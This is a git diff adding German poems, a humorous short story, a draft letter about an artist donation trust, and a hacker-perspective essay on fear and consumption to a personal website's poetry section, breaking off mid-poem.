diff --git a/stories/poetry/geaendert.md b/stories/poetry/geaendert.md
new file mode 100644
index 0000000..9486799
--- /dev/null
+++ b/stories/poetry/geaendert.md
@@ -0,0 +1,18 @@
1<!--
2.. title: Geändert
3.. date: 2001/07/01
4.. tags: poetry
5-->
6
7Dinge aendern sich.<br/>
8Wo in der Erinnerung noch Monumente<br/>
9neben laengst verdraengtem<br/>
10prachtvoll sich erheben,<br/>
11wo aus schoengefaerbter Vergangenheit<br/>
12Trugbilder gluecklicher Stunden<br/>
13auftauchen und den Verstand vernebeln,<br/>
14wo der fade Nachgeschmack des<br/>
15wohl selbstverschuldeten Endes<br/>
16an sich selber zweifeln laesst,<br/>
17wo einst Frohsinn regierte und Liebe,<br/>
18haben sich die Dinge halt geaendert.<br/>
diff --git a/stories/poetry/gefangen.md b/stories/poetry/gefangen.md
new file mode 100644
index 0000000..eb397c9
--- /dev/null
+++ b/stories/poetry/gefangen.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Gefangen
3.. date: 2010/08/01
4.. tags: poetry
5-->
6
7Jetzt hast Du mich<br/>
8Eingefangen und läßt<br/>
9Mich nicht mehr los<br/>
10Und es bleibt das Gefühl<br/>
11Als trüge ich nun<br/>
12Den mir in diesem kurzen Moment<br/>
13Des Berührens angelegten Ring<br/>
14um Herz, Verstand, Bein und Hand<br/>
15Und wenn ich aufsteige und fliege<br/>
16Und ankomme sieht man mir doch<br/>
17Noch das Treffen an, mit Dir.
diff --git a/stories/poetry/gefunden.md b/stories/poetry/gefunden.md
new file mode 100644
index 0000000..05d6483
--- /dev/null
+++ b/stories/poetry/gefunden.md
@@ -0,0 +1,19 @@
1<!--
2.. title: Gefunden
3.. date: 2003/09/01
4.. tags: poetry
5-->
6
7Endlich!, wuerde ich sagen.<br/>
8Doch nachdem<br/>
9zu ungenau ich gezaehlt,<br/>
10zu sorglos ich mich versteckt,<br/>
11zu unachtsam ich geschmult,<br/>
12zu heftig ich geatmet,<br/>
13zu zaghaft ich gesucht und<br/>
14zu offensichtlich ich mich<br/>
15zu erkennen gegebene habe,<br/>
16nach einem fluechtigen Blick<br/>
17geht das Spiel einfach<br/>
18in die naechste Runde.<br/>
19Du bist dran.
diff --git a/stories/poetry/grau.md b/stories/poetry/grau.md
new file mode 100644
index 0000000..0d096de
--- /dev/null
+++ b/stories/poetry/grau.md
@@ -0,0 +1,26 @@
1<!--
2.. title: Grau
3.. date: 2003/05/01
4.. tags: poetry
5-->
6
7Die grauen Maenner kommen<br/>
8an den hellen Tagen nur.<br/>
9Und bewaffnet mit nichts als den<br/>
10verlorenen Illusionen allein,<br/>
11kleingehackt und aufbereitet<br/>
12in schoene und als unerreichbar<br/>
13deklarierte Traeume,<br/>
14sehnsuchtsvoll all den Momenten<br/>
15hinterhertrauernd, in denen<br/>
16man sie, Stueck um Stueck,<br/>
17verloren hat und geschlagen<br/>
18mit einer Wut, die so hilflos<br/>
19und aengstlich wirkt gegen den<br/>
20von der Leine gelassenen, alles<br/>
21bedrohenden Schweinehund,<br/>
22mit diesen laecherlichen Fetzen<br/>
23also, Ideen eines anderen Jetzt,<br/>
24zahlt man den grauen Maennern,<br/>
25wie ueblich, ihren Zoll.
26
diff --git a/stories/poetry/grossejungs.md b/stories/poetry/grossejungs.md
new file mode 100644
index 0000000..60466a7
--- /dev/null
+++ b/stories/poetry/grossejungs.md
@@ -0,0 +1,23 @@
1<!--
2.. title: Große Jungs
3.. date: 2003/10/01
4.. tags: poetry
5-->
6
7Die Augen sind nicht kleiner geworden,<br/>
8ueber die Jahre und haben nichts<br/>
9von ihrem Glaenzen verloren.<br/>
10Nein. Noch immer stolpern wir ohne<br/>
11nachzudenken jedem Spielzeug hinterher.<br/>
12<br/>
13Die Jungs sind nicht weiser geworden,<br/>
14denn waehrend die Seifenkisten und<br/>
15Plasteautos den Echten wichen,<br/>
16mussten echte lebendige Maedels<br/>
17den geseiften Plastefrauen Platz machen.<br/>
18<br/>
19Die Welt ist um nichts besser geworden,<br/>
20man liebt sich und betruegt sich,<br/>
21und am Ende spielen doch,<br/>
22wie seit Generationen die Vaeter,<br/>
23immer wieder nur die Jungs mit den Jungs.<br/>
diff --git a/stories/poetry/header b/stories/poetry/header
new file mode 100644
index 0000000..2e2c4af
--- /dev/null
+++ b/stories/poetry/header
@@ -0,0 +1,4 @@
1<!--
2.. title:
3.. tags: poetry
4-->
diff --git a/stories/poetry/im_sog.md b/stories/poetry/im_sog.md
new file mode 100644
index 0000000..a26b0de
--- /dev/null
+++ b/stories/poetry/im_sog.md
@@ -0,0 +1,20 @@
1<!--
2.. title: Im Sog
3.. date: 2005/01/01
4.. tags: poetry
5-->
6
7Wenn der letzte Halt genommen,<br/>
8Respekt, Ehre, Treue und Liebe<br/>
9verfallen sind.<br/>
10
11Dann bleibt nur die Wollust,<br/>
12das Triebhafte hinab in den Strudel<br/>
13des unreflektierten Hedonismus.<br/>
14
15Ein ewiges Stuerzen in den Schlund<br/>
16des Zwanghaften, aufgerieben<br/>
17an den letzten standhaften Vorspruengen,<br/>
18die das Anstaendige<br/>
19in die glitschigen Waende<br/>
20der Verdammnis gerammt hat.
diff --git a/stories/poetry/index.rst b/stories/poetry/index.rst
new file mode 100644
index 0000000..8c3c125
--- /dev/null
+++ b/stories/poetry/index.rst
@@ -0,0 +1,13 @@
1.. link:
2.. description: erdgeist schreibt
3.. tags:
4.. date: 1970/01/01 01:00:00
5.. title: poetry
6.. slug: index
7.. hidetitle:
8
9.. post-list::
10 :all:
11 :tags: poetry
12 :template: list_poetry.tmpl
13 :id: poetry
diff --git a/stories/poetry/kuenstler b/stories/poetry/kuenstler
new file mode 100644
index 0000000..901a348
--- /dev/null
+++ b/stories/poetry/kuenstler
@@ -0,0 +1,30 @@
1Lieber [...Kuenstler...],
2
3die Realitaeten unter den Medienkonsumenten haben sich in Richtung
4eines Zustands verschoben, in der staendig (fast) alle Werke online
5zur Verfuegung stehen.
6Wenn man die Werke mag, die man sich nun kostenlos besorgen kann,
7hat man leider bisher keine Moeglichkeit, den Kreativen finanzielle
8Wertschaetzung zu erweisen, ohne die gesamte Verwertungsindustrie
9bestehend aus Einzel- und Grosshandel, Ton/datentraegerproduzenten,
10Rechteverwaltern und Marketing zu alimentieren.
11Deswegen hat [...] ein Treuhandkonto eingerichtet, auf das jeder,
12der meint, einen Kuenstler seiner Wahl finanziell unterstuetzen zu
13wollen und damit auch unabhaengiger zu machen, einen ihm genehmen
14Betrag einzuzahlen, der anonymisiert sofort weitergereicht wird.
15Damit kauft man sich natuerlich auf juristischer Ebene nicht frei,
16vielleicht aber auf moralischer. Andererseits ist so eine Spende
17lange kein Eingestaendnis, illegale Kopien der Werke zu besitzen,
18das Unterstuetzen von Kuenstlern hat eine lange Tradition und
19erstmals kann man problemlos seinen kleinen privaten Beitrag dazu
20leisten.
21Alles, was wir dazu brauchen, ist eine private Kontonummer
22(Kollektiv/Band/Vereins-konto), auf die wir die Spende weiterreichen
23koennen. Die Bankverbindung wird natuerlich nicht veroeffentlicht,
24genausowenig wie die Kontokoordinaten der Spender. Spenden, die
25unter das Geldwaeschegesetz fallen wuerden, werden zurueckgewiesen,
26genauso wie solche, die keinem Kuenstler eindeutig zuzuordnen sind.
27Unter [... www.bank.de/spenden ...] kann man alle Transaktionen
28nachvollziehen.
29
30Weitere Informationen finden sich unter [... www.dieguten.de ...]
diff --git a/stories/poetry/lovers.md b/stories/poetry/lovers.md
new file mode 100644
index 0000000..92a7989
--- /dev/null
+++ b/stories/poetry/lovers.md
@@ -0,0 +1,15 @@
1<!--
2.. title: Lovers!?
3.. date: 2000/11/01
4.. tags: poetry
5-->
6
7Dort unter den Weiden,<br/>
8beide vom Neumondschatten verwoehnt,<br/>
9Lautlosem Rascheln der Blaetter<br/>
10in windstiller Nacht lauschend,<br/>
11
12sucht er den Polarstern,<br/>
13sie den kleinen Baeren,<br/>
14und beide wuenschten sich,<br/>
15die Wolken wuerden verschwinden.
diff --git a/stories/poetry/madkarin.md b/stories/poetry/madkarin.md
new file mode 100644
index 0000000..74e9fc9
--- /dev/null
+++ b/stories/poetry/madkarin.md
@@ -0,0 +1,35 @@
1<!--
2.. title: Mad Karin
3.. date: 2002/04/01
4.. tags: poetry
5-->
6
7"Schnauze, Schneewittchen", denk ich noch bei mir und will mich wieder umdrehen, "kann man denn nicht einmal in Ruhe ausschlafen?" Aber es will einfach nicht aufhoeren. Kopfkissen und Bettdecke helfen genau gar nichts und das T-Shirt laesst sich nicht so leicht um den Kopf wickeln. Ich taste muede nach der Fernbedienung, bade dabei meine Hand in Muesli, weiss nicht und alter Unterwaesche und der Powerknopf macht nur noch mehr Laerm an. Worueber sich Gretel nun massiv beschwert. "Grandioser Start in den Tag", finde ich und nehme mir vor, nicht mehr mit Pilzen zu experimentieren wobei sich "frisch machen" nach einem soliden Plan anhoert.
8
9Ich schubse die beiden beiseite und gruesse kurz Haensel, der es sich zwischen den Geranien bequem gemacht hat. "Ich hab im Flur Pflanzen?", gruebel ich noch kurz, werde aber von Einstein unterbrochen, der vorm Klo hin- und herhopst und sich in den allerschoensten Rottoenen den Piephahn zudrueckt. "Der bloede Napoleon kackt schon seit 'ner Stunde", schimpft er. Eigentlich steht mir der Sinn im Moment nicht nach Streit mit Staatsoberhaeuptern, aber trotzdem bummer ich gegen die Tuer, teils aus latentem Ungerechtigsempfinden, teils, weil ich dort selbst Einlass begehre. Ein bellendes "Ruhe da, hier werden wichtige Geschaefte erledigt" korrigiert jedoch meinen Bedarf an Argumentationen nach unten. "Kueche reicht ooch", beschliesse ich feierlich, da ich mir eh nur frisches Wasser ins Gesicht stellen wollte.
10
11"Japp" jauchze ich, "Entscheidungen am fruehen Morgen machen halt erst dann Laune, wenn man sie getroffen hat." Ein gewagter Trab entlang des Flurs verschafft mir eine komfortable Stellung neben der Spuele, von der aus ich Batman und Goethe, die sich lebhaft ueber Latexunterhosen streiten, prima ignorieren kann. Was mir leider mit der, anscheinend umgekehrt proportional zur Uhrzeit immer gehaessiger schrillenden Tuerbimmel nicht so leicht gelingt, die mich just beim Hahnaufdrehen eiskalt erwischt. "Schosbodphadammta", grunz ich und scchildkroete mich zur Tuer, die sich dann aber herrlich wutentbrannt aufreissen laesst. Postbotin.
12
13"Unglaublich", stelle ich fest, "dass es so bestimmte Leute gibt, die man einfach dafuer hasst, dass sie ihrer alltaeglichen Beschaeftigung nachgehen." "Also bloss zu den falschen Zeiten natuerlich", relativiere ich mich. Aber eigentlich ist es wie mit Finanzbeamten, Politessen und dem Papst. Aber das ist ein anderes Thema.
14
15"Hab ich ueberhaupt Shorts an?" durchzuckt es mich und ich versuche, so beilaeufig wie moeglich an mir herunterzulinsen, was meinem Antlitz einen gruendlichen Hauch von Debilitaet verleiht. Die Hausfriedensbrecherin zeigt sich von meinem Auftritt komplett unbeeindruckt, was ich zwar als Beleg fuer die rudimentaere Vollstaendigkeit meiner Bekleidung deuten kann, aber ein gewisses Mass Entruestung ueber meinen Aufzug habe ich schon erwartet. "Was gibts?" klaeffe ich in gerade erst erlerntem Tonfall, was mich zumindest kurzfristig wieder Herr der Lage werden laesst und die neugierigen Blicke meinen Korridor hinunter auf mich verlagert. "Paket fuer Sie", scheint sie sich wieder des Grunds der Stoerung zu entsinnen.
16
17Beim schwungvollen Tuerzuwerfen klemmt ueberraschend ein Postbotinnenschuh zwischen Tuer, gestiefeltem Kater und Rahmen. Hat wohl wehgetan. "Is schlimm?" scheinheilige ich. Einigermassen gefasst in Anbetracht des geknautschten Gesichts sprudelt es ihr heraus: "Ist das da Einstein, der da gegen ihre Wand hoppst, ich wollte schon immer mal ein Autog..." Fuss draussen, Tuer zu. "Irgendetwas hab ich wohl vergessen", bemerk ich erstaunlich gewitzt fuer die Uhrzeit: Tuer auf, "ramm von dem, wissen sie ich hab ja scho", Paket aus der Hand gerissen, "n so viel gelesen von i...", Tuer zu, Ruhe. Zumindest, bis sie sich erinnert, wo die Klingel ausgeloest wird. Ich schau mich kurz um, ob bei Grimm auch beamtenfressende Ungeheuer vorkommen. Ich erinner mich nicht ganz genau, aber da auf ein wirklich lautes "Postbote, FASS!" genau gar nichts passiert, nehm ich eher "nein" an. Und ein zwischen Glocke und Kloeppel gestopftes Tempo hilft auch erstmal.
18
19Das Paket fuehlt sich weich an. "Bitte lass es einfach ne Briefbombe sein", fleh ich, aber "Platiksprengstoffpaketbombe" hoert sich einfach nicht wie aus den Nachrichten an. Missmutig reiss ich das Papier herunter. Koteletts.
20
21Ich versuch mich jetzt muehsam an den gestrigen Abend zu erinnern, finde aber, dass "an alles _nach_ dem Aufstehen erinnern" vollkommen reicht. Also bruell ich "wer hat hier Koteletts bestellt" durch die Wohnung, worauf der boese Wolf angesprungen kommt und es sich mit seinem frisch erbeuteten Fruehstueck in meiner Flugarderobe bequem macht. Auf meine fragenden Blicke schmatzt er bedeutsam zu Rotkaeppchen rueber: "Einstweilige Verfuegung, ich darf nicht naeher als 5 Meter an sie ran. Die hat jetzt n Anwalt." Damit loest sich meine gerade erst gewonnene Idee zur Dezimierung des Brieftraeger- und Maerchenfigurenbestands in Luft auf. "Macht nix", hoffe ich, verwerfe in Anbetracht des Riesen, der sich anschickt, den Wasserhahn leerzuschluerfen, noch schnell den Erfrischungsgedanken und schluerfe nun meinerseits zurueck.
22
23Die Badtuer ist frisch eingetreten und im Inneren beeilen sich der liebe Gott und ein kleiner Eroberer, ihre Bloesse vor einem wuetenden Physiker zu verbergen.
24
25"Klar!", glaub ich und "Bett". Darauf haben sich leider Unmengen an Unterlagen haeuslich eingerichtet, die wohl zu dem gegelten Anwalt gehoeren, der gerade Schneewittchen die Filmrechte abschwatzen will. Gretel ist immer noch dabei, auf die beiden einzureden, dass das mit den Brotkrumen wohl eindeutig ihr Patent sei und Haensel schlaeft.
26
27Ein kurzer Blick verraet mir, dass in den Geranien kein Platz mehr ist. Wenn nicht schon laengst, verinnerliche ich mir, ist _jetzt_ der Moment zum endgueltig wach werden. Ist ja schliesslich auch nicht mehr zum auszuhalten, nicht war? Wird naemlich langsam mal Zeit, dass ich rausfinde, was hier los ist. Und bei dem ganzen Durcheinander ist es auch nicht leicht, nen sinnigen Plot zusammenzustricken.
28
29Ich klatsch mir kurz gegen die Stirn: "na klar, ich mach einfach als auktorialer Erzaehler weiter." Haett ich auch frueher drauf kommen koennen. Ich reisse also - wissend - die Kammertuer auf und da steht, traurig und in sich versunken, Karin, die depressive Zeitmaschine. "Natuerlich"- faellts mir wieder ein, die hab ich gestern in ner Bar aufgegabelt, wo sie unter ihrem Makeup, und vielleicht dem Einfluss einiger Biere, aber noch bedeutend einladender ausgesehen hatte.
30
31"Warst du das hier etwa" herrsche ich sie an, worauf sie schuldbewusst auf ihren Flux-Kompensator schielt. "Ja!" gibt sie kleinlaut zu, "Immer wenn ich verzweifelt bin, schiess ich Persoenlichkeiten aus der Weltgeschichte durch die Zeit, um wenigstens ein bisschen Spass zu haben". "Ich wollte dir keinen Kummer machen." Aber ich bin noch nicht zu frieden. "Du bist eine Zeitmaschine, Maerchenfiguren sind aber keine realen Gestalten, du kannst sie gar nicht hierherbefoerdern" hake ich nach. Daraufhin kann sie auch nur mit den Schultern zucken und meint, dass das dann wohl mein Problem sei. Ich bedeute ihr kurz, zu warten, waehrend ich Schneewittchen auf den Sachverhalt hinweise. Diese antwortet nur "Ist das so?" und mit einem Plopp, den man eigentlich nur aus Situationen irgendwelche Sanitaeranlagen betreffend, kennt, loest sie sich in Luft auf. Und ueberall, wohin ich auch gucke, die ganze Zauberwaldmeute nirvanat sich hinfort.
32
33"Das war ja einfach" - gratulier ich mir, aber so ganz behagt mir nicht, dass der liebe Gott sich auf meiner Flur immernoch mit Napoleon vergnuegt. Ich pflaume da kurz zwischen, dass ich ja wohl Atheist sei und wech ist er. So langsam beginne ich Freude an dem Spiel zu entwickeln und ueberlege mir, wie ich das demnaechst mal gewinnbringend einsetzen sollte, werde aber von einem wuetenden Anwalt und einem sitzengelassenen Feldherren bedraengt. Auch Goethe langweilt sich wieder und will am liebsten nach Hause. Is mir aber herzlich egal. Soll Einsteins Memoiren schreiben. Vorher soll der mir aber noch meine Klotuer wieder einhaengen. Hebelgesetze beherrscht er, muss ich zumindest neidlos anerkennen. Finde aber in Anbetracht der Tatsache, dass sich inziwschen zwischen Dschingis Khan und Stalin ein Faustkampf um das Privileg des grausamsten Herrschers entzuendet hat, das Karin erstmal beruhigt werden muss. Zum Glueck hab ich noch nen Anwalt in meiner Plattensammlung stehen, den ich mit der Aussicht auf ein Freibier auf die bekloppte Zeitmaschine loslassen kann.
34
35Keine Minute spaeter ist die Kammer leer. Ich ueberleg noch schnell, ob ich diese Strategie auch fuer spaetere Dates benutzen koennte, aber irgendwas stimmt immer noch nicht. Findet Che Guevara auch. Klaus, so heisst der Anwalt, huestelt zweimal kurz pikiert und schon ist Karin wieder da, entfernt die verbliebenen Fremdpolitiker aus meinem Zimmer und ist auch gleich schon wieder verschwunden. So ganz ehrlich interessiert mich nicht, wie er sie losgeworden ist, denn er steht noch da. Ich bruell noch hinterher "Und der Jurist!?", aber keine Spur von Karin. Klaus guckt mich nur hinterhaeltig an und meint, er vertraete jetzt meinen neuen Mitbewohner, wobei er hoeflich auf das Muesli zeigt, vorhin haben wir Wahlrecht beantragt, aber alles weitere koennen wir ja bei nem Bier besprechen.
diff --git a/stories/poetry/milchstrasse.md b/stories/poetry/milchstrasse.md
new file mode 100644
index 0000000..92a1ac1
--- /dev/null
+++ b/stories/poetry/milchstrasse.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Milchstraße
3.. date: 2007/05/01
4.. tags: poetry
5-->
6
7Des Nachts funkelt nun<br/>
8Wie einst das Firmament<br/>
9Nur noch der Horizont
10
11Und jeder waermende Schein<br/>
12Hier ein einsamer Traum<br/>
13Fehlt dort oben
14
15Es ist, als haetten<br/>
16Das Feuer der Goetter wir<br/>
17Gestohlen, nicht geliehen
diff --git a/stories/poetry/missverstaendnis.md b/stories/poetry/missverstaendnis.md
new file mode 100644
index 0000000..c42974a
--- /dev/null
+++ b/stories/poetry/missverstaendnis.md
@@ -0,0 +1,27 @@
1<!--
2.. title: (erdgeist I) Mißverständnis
3.. date: 2002/12/01
4.. tags: poetry
5-->
6
7Du missverstehst meine Motivation.<br/>
8Wohl versteh ich die Freiheit. Voll und<br/>
9ganz. Und ich geniesse sie. Und ich<br/>
10geniesse deine Freiheit. Und ich will<br/>
11sie haben. Und alles, was ich dazu tun<br/>
12muss, ist zu warten. Warten, bis mein Freund,<br/>
13die Zeit, auch deine, vom Sturmwind der<br/>
14Freiheit gegerbte, Seele bei mir an die<br/>
15Tuer klopfen laesst.<br/>
16Ich wuerde alles tun, um dich zu<br/>
17hindern, DEINE Traeume umzusetzen.<br/>
18Wenn es fuer mich einen Unterschied<br/>
19machen wuerde.<br/>
20Ich will nicht, dass du dich bindest.<br/>
21Ich will, dass du deinen Weg allein<br/>
22gehst, bis alle Kanten geschliffen und<br/>
23der Wille gebrochen, das noch<br/>
24geschmeidige Fell zersaust und dein<br/>
25steter Drang nach Freiheit gebrochen.<br/>
26Dann werde ich laechelnd am Ende deines<br/>
27Weges sitzen und dir deinen Platz anbieten.
diff --git a/stories/poetry/mistral.md b/stories/poetry/mistral.md
new file mode 100644
index 0000000..0a5c610
--- /dev/null
+++ b/stories/poetry/mistral.md
@@ -0,0 +1,16 @@
1<!--
2.. title: Mistral
3.. date: 2002/03/01
4.. tags: poetry
5-->
6
7Dort, wo der Regen frisch den Schwermut<br/>
8mit Leichtigkeit auf die Planken wusch,<br/>
9und wir versuchten, aneinander Halt<br/>
10und Geborgenheit zu finden,<br/>
11dort, wo die Gischt die Traurigkeit<br/>
12und die Einsamkeit des Meeres<br/>
13gegen unsere Brandung warf,<br/>
14dort, wo der Nebel mit unseren<br/>
15eh schon geblendeten Sinnen spielte.<br/>
16Dort verlor ich mich, im Wind.
diff --git a/stories/poetry/mondgoettin.md b/stories/poetry/mondgoettin.md
new file mode 100644
index 0000000..6938c21
--- /dev/null
+++ b/stories/poetry/mondgoettin.md
@@ -0,0 +1,26 @@
1<!--
2.. title: Mondgöttin
3.. date: 2002/09/01
4.. tags: poetry
5-->
6
7Gott und Mond sind fern.<br/>
8So wie du, als du mich voellig<br/>
9unverhofft an der Hand nahmst<br/>
10um mir das heimlich hinter<br/>
11der Welt versteckte Laecheln<br/>
12der Sonne zu zeigen.<br/>
13Licht und Du sind mir nun nah,<br/>
14aber noch fehlt mir die Kraft,<br/>
15den Blick wieder zur Erde<br/>
16zu erheben und ich gebe mich<br/>
17dem Rausch der Strahlen hin,<br/>
18in die du getaucht vor mir<br/>
19Mond und Sonne und Gott und<br/>
20die Welt vergessen machst.<br/>
21Und doch! Klein zwischen den<br/>
22Gestirnen, mit denen du wie<br/>
23selbstverstaendlich spielst,<br/>
24halte ich tapfer mein Licht,<br/>
25dein Leben zu beleuchten, um<br/>
26dich nie wieder zu verlieren.
diff --git a/stories/poetry/nachts.md b/stories/poetry/nachts.md
new file mode 100644
index 0000000..e30277f
--- /dev/null
+++ b/stories/poetry/nachts.md
@@ -0,0 +1,20 @@
1<!--
2.. title: Nachts
3.. date: 2002/05/01
4.. tags: poetry
5-->
6
7Dunkelheit truebt die Sinne.<br/>
8Doch als ich, mehr unbeholfen<br/>
9denn planvoll, in deine Naehe<br/>
10stolperte, da erst nahm ich<br/>
11das Strahlen wahr, das mich<br/>
12wahrscheinlich zu dir fuehrte.<br/>
13Und wenn ich nun hier, so nah<br/>
14bei dir und doch himmelweit<br/>
15entfernt, meinen Platz fand,<br/>
16so faellt es mir immer schwerer,<br/>
17daran zu glauben, ich sei noch<br/>
18Herr meiner eigenen Sinne.<br/>
19Das, allerdings, mag an der<br/>
20Nacht liegen.
diff --git a/stories/poetry/pamphlet b/stories/poetry/pamphlet
new file mode 100644
index 0000000..a318a5b
--- /dev/null
+++ b/stories/poetry/pamphlet
@@ -0,0 +1,8 @@
1<HTML><HEAD></HEAD><BODY> Fear, Uncertainty, Consumption, Knowledge.
2 Wir haben vor allem Moeglichen Angst. Ist ja auch nur zu natuerlich. Bei allem was man immer so liest und hoert. Es ist eine schreckliche Welt da draussen und das Einzige, was uns noch retten kann, ist: viel Geld auszugeben. Was es genau ist, das uns Angst machen muss? Das ist von Fall zu Fall natuerlich unterschiedlich. Aber generell sind es zwei Dinge, die sie verursachen: Unwissenheit und Unsicherheit. Und es gibt genug Leute, die von deiner Angst leben: Politiker, Polizisten, Anwlte, Versicherungsverteter, Potenzpillenhersteller, die Presse, die Ruestungsindustrie, sogar Greenpeace. Also gibt es auch ein vitales Interesse, dir deine schoene Angst nicht wegzunehmen. Man sehe sich nur die RTL-Abendnachrichten an und spiele ein kleines Spiel: versucht einmal, jeden Beitrag in eine der beiden Kategorien Angst oder Konsum einzuordnen. Und dann sagt, wo es die idyllischeren Bilder zu sehen gibt. Und wieviel Hintergrundinformationen vermittelt wurden. Dann schaue man sich die darauffolgende Soap an und sage, welche Gestalten gemeinhin als Sympathietraeger oder Identifikationsfiguren propagiert werden. Wissen und Intelligenz ist nicht schick, Erfolg nicht mehr Ergebnis von Fleiss. Dass gerade bei der Bildung gespart wird, wenn es nicht um die Elite geht, mag Zufall sein. Der Trend jedoch ist erkennbar: weg vom muendigen Bildungsbuerger, hin zum modernen Konsumbuerger mit all seinen pflegebeduerftigen Aengsten.
3 Was uns das als Hacker interessieren muss, die wir doch groesstenteils reflektierte, nicht vom Konsum verblendete Heroen sind? Wir sind das prototypische Feindbild des Konsums. Wir schliessen uns meist nicht der Finanzelite an und versuchen nicht einmal, eine berechenbare Gegenelite zu bilden. Unser erklaertes Ziel ist es, Herrschaftswissen zu nehmen und dem Beherrschten zugaenglich zu machen, zudem sein privates Wissen vor der zentralen Erfassung zu schuetzen. Hoechste Zeit, dem Hacker ein bedrohliches Image zu verpassen und am besten noch mit dieser neuen Angst Geld verdienen. Hier eine proprietaere Virenscan-Software, dort eine closed-source Firewall, und natuerlich im Fernsehn neben den Boesen, die Bomben auf Unschuldige werfen, der Hacker, der sich deine Festplatte zum Ziel genommen hat, so zwischen Ueberschwemmung, Lebensmittelvergiftungen und der Werbung. Da, wo die Komplexitaet des Systems das Verstaendnis sprengt und darueber hinaus magische, fast religioese Grenzen ankratzt, findet auch leicht die Ueberhoehung des Hackers ins Diabolische statt.
4 Aber auch wenn man die Angst durch Bildung bekmpft, bleibt sie nominal oft gleich: Denn hier fuehrt Beseitigung der Unwissenheit, zu einer Zunahme der eigenen Unsicherheit - die zweite Quelle der Angst. Wem zum Beispiel vertrauen wir denn in letzter Zeit unser Weltwissen an? Wir vertrauen darauf, dass in einem Prozessor, dessen Leiterbahnen wir mit blossem Augen nicht mehr erkennen koennen, sich Elektronen in gerade der richtigen Anzahl an den richtigen Stellen zusammensammeln, um bestimmte Schwellenwerte zu unter- oder ueberschreiten. Im Optimalfall kommt dabei die gewuenschte Transformation der Daten heraus. Die Ergebnisse werden in Abermilliarden schnell fluechtiger Rueckkopplungsgattern (ueblicherweise Speicher genannt) abgelegt. Was aufhebenswert erscheint, wird als mikroskopisch kleine Magnetisierungsinseln auf schnell rotierenden Metallscheiben gebannt, staendig auf der Furcht vor externen Magnetfeldern. Und wenn wir ernsthaft an das Konservieren fuer spaeter denken, benutzen wir extrem lichtempfindliche Billigstkunststoffscheiben, in die wir mit starken Lampen Loecher brennen, spaeter mit weniger starken Lampen wieder abtasten, nur um die Daten wenig spaeter dem selben Zyklus zu unterwerfen. (Wie lichtempfindlich die Scheiben sind, kann man im Experiment mit einer ueber den Sommer ins Fenster gehangenen CD selbst nachvollziehen) Alles in allem wohl ein unglaublich fragiler Ablauf, der nur mit Redundanz und dem kontinuierlichen Kopieren und Vergleichen der Daten mit den Zweit- und Drittkopien in stabilen Bahnen zu halten ist. (Versucht doch mal, eine Diskette von vor mehr als 7 Jahren zu lesen. Solltet ihr durch Zufall noch die passenden Laufwerke haben, ist die Wahrscheinlichkeit der Datenintegritaet wohl eher gering).
5 Das bewaehrte Konzept der menschenlesbaren Papierkopie wird mehr und mehr zurueckgedraengt, zumindest fuer die breite Masse, sie laesst sich zu schwer regulieren. Wissen ist (neben dem politischen) auch ein wirtschaftlicher Vorteil, Information Wirtschaftsgut. Oeffentliche Bibliotheken sind finanziell so schlecht ausgestattet, wie schon lange nicht mehr, Tendenz fallend. Aber auch im Elektronischen, wo die Regulierung des Kopierens mittels Kontrolle ueber das Kopiergeraet demnaechst leichter fallen soll, sind die Bewegungen in Richtung Informationsverknappung und Mehrfachverkauf deutlich zu erkennen. Dabei geht es mir nicht primaer um mp3s und Hollywoodschinken. Bald wird gar das private Pressearchiv urheberrechtlich bedenklich. An zentraler Stelle bleibt die Information natuerlich fuer Geld weiter verfuegbar. Ob aber morgen in der selben Zeitung noch das selbe steht, wie heute, ist fraglich. Dabei muss man nicht gleich mit Orwell argumentieren, eine einstweilige Verfuegung bei genuegendem politischen/wirtschaftlichen/staatssicherheitstechnischen Interesse ist durchaus im Rahmen des aktuell Wahrscheinlichen.
6 Selbst Suchmaschinen, respektive deren Caches, haben sich zuletzt nicht als zuverlssig-objektive Archive gegen den Willen der von den Informationen Tangierten erwiesen. Eine dezentrale Informations- Vorratshaltung und -Aufbereitung kostet aber Geld. (Man schaue sich nur die Unordnung in der privaten mp3-Sammlung an. Dann stelle man sich vor, wie die aussaehe, wenn irgendeine bezahlte Kraft den ganzen Tag nichts anderes zu tun haette, als die zu pflegen und erweitern.) Doch wo strukturiertes und damit erst zugngliches Wissen viel Geld kostet, muss sich die Akquisition/Aufbereitung auch finanziell lohnen. Sonst bleibt es Luxus, den man sich erst einmal leisten koennen muss. Aber aufgepasst: Viel zu schnell droht einem dabei selber der Abrutsch in die Klauen der Finanzeliten, die einen in ihre Unterabteilung Wissenselite einsortieren. Beispiel OpenSource-Projekte: sogar hier findet man das gesamte Muster Fear, Uncertainty, Consumption wieder. Was bleibt, wenn man etwa fuer eine Textverarbeitung auf proprietaere Datenformate angewiesen ist, reverse engineering verboten ist? Legal nur noch der Zukauf der Information, was bei einem kostenlosen OpenSource-Programm schlicht nicht finanzierbar ist. Und selbst wenn bleibt beim potentiellen Benutzer (der auch vom Hersteller der kommerziellen Software gern gepflegte) Rest Unsicherheit, die Angst, die dann nur noch durch Konsum - Kauf der SW - besiegbar scheint.
7 Wuerde man mich nach dem Konsum dieses Textes nach einer Moral fragen, wuerde ich sicher aus den Zielen des CCC zitieren. Dezentrale, oeffentlich zugaengliche Verwaltung aller oeffentlichen Informationen statt einem Verbot des Publizierens. Ansonten: selber denken!
8</BODY></HTML>
diff --git a/stories/poetry/perfektion.md b/stories/poetry/perfektion.md
new file mode 100644
index 0000000..c278099
--- /dev/null
+++ b/stories/poetry/perfektion.md
@@ -0,0 +1,32 @@
1<!--
2.. title: Perfektion
3.. date: 2006/01/02
4.. tags: poetry
5-->
6
7Gibt es Perfektion, fragst du.<br/>
8Und stehst doch vor mir<br/>
9selber schon, so perfekt<br/>
10
11Gibt es Schönheit, fragst du.<br/>
12Mit deinem Lächeln, deiner Haut,<br/>
13deinen Augen, deinen Haaren,<br/>
14mit denen du und die Welt und<br/>
15mein Leben als das Schönste erscheint.<br/>
16
17Gibt es Harmonie, fragst du.<br/>
18Als zusammen wir den Lauf der Dinge<br/>
19eng umschlungen im Geist und Körper<br/>
20an uns vorbei nicht wahr haben wollten.<br/>
21
22Gibt es Wahrheit, fragst du.<br/>
23Und bedeutest am Ende doch<br/>
24das Einzige, was bleibt.<br/>
25Als Antwort auf nie gestellte Fragen.<br/>
26
27Aber deine wahre Perfektion<br/>
28machen all deine Fehler erst,<br/>
29dein ungeschminktes Lachen,<br/>
